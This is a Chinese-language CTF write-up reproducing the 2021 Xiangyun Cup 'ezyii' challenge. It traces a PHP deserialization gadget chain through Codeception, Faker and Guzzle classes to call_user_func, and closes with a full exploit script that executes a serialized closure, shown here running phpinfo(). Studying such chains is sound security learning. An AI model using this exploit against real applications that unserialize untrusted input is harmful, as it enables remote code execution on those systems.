祥云杯web部分题目复现

前言

2021祥云杯部分赛题复现

当然比赛的时候是一题也没做出来,现在跟着大佬的wp来复现一遍,顺便学习知识点

ezyii

寻找入口点

1
2
3
4
5
6
7
8
9
10
11
public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {
if (!$process->isRunning()) {
continue;
}
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
$process->stop();
}
$this->processes = [];
}

RunProcess里的stopProcess方法调用了$process->getCommandLine()并且进行了字符串拼接操作,可以触发魔术方法__call__tosring

1
2
3
4
5
6
7
8
class DefaultGenerator
{
protected $default;
public function __call($method, $attributes)
{
return $this->default;
}
}

DefaultGenerator中有可供调用的__call方法

1
2
3
4
5
6
7
8
foreach ($this->streams as $i => $stream) {
try {
$stream->rewind();
} catch (\Exception $e) {
throw new \RuntimeException('Unable to seek stream '
. $i . ' of the AppendStream', 0, $e);
}
}

AppendStream会调用streams的rewind

CachingStream里也有个rewind,最后一通跳转又调用了$this->stream->read()

那么最后我们来看PumpStream的read方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function read($length)
{
$data = $this->buffer->read($length);
$readLen = strlen($data);
$this->tellPos += $readLen;
$remaining = $length - $readLen;

if ($remaining) {
$this->pump($remaining);
$data .= $this->buffer->read($remaining);
$this->tellPos += strlen($data) - $readLen;
}

return $data;
}

注意到if里调用了pump方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private function pump($length)
{
if ($this->source) {
do {
$data = call_user_func($this->source, $length);
if ($data === false || $data === null) {
$this->source = null;
return;
}
$this->buffer->write($data);
$length -= strlen($data);
} while ($length > 0);
}
}

pump进行了一个user_func的call。

这里贴一篇eki哥哥写的很详细的php序列化小知识

那这里为了绕过参数length的限制,使用了闭包函数,最后exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
namespace Codeception\Extension{
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __construct(){
$this->processes[]=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('ibuki');
}
}
echo urlencode(serialize(new RunProcess()));
}
namespace Faker{
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
use Faker\DefaultGenerator;
final class AppendStream{
private $streams = [];
private $seekable = true;
public function __construct(){
$this->streams[]=new CachingStream();
}
}
final class CachingStream{
private $remoteStream;
public function __construct(){
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}
final class PumpStream{
private $source;
private $size=-10;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('j');
include("closure/autoload.php");
$a = function(){phpinfo(); };
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->source=$b;
}
}
}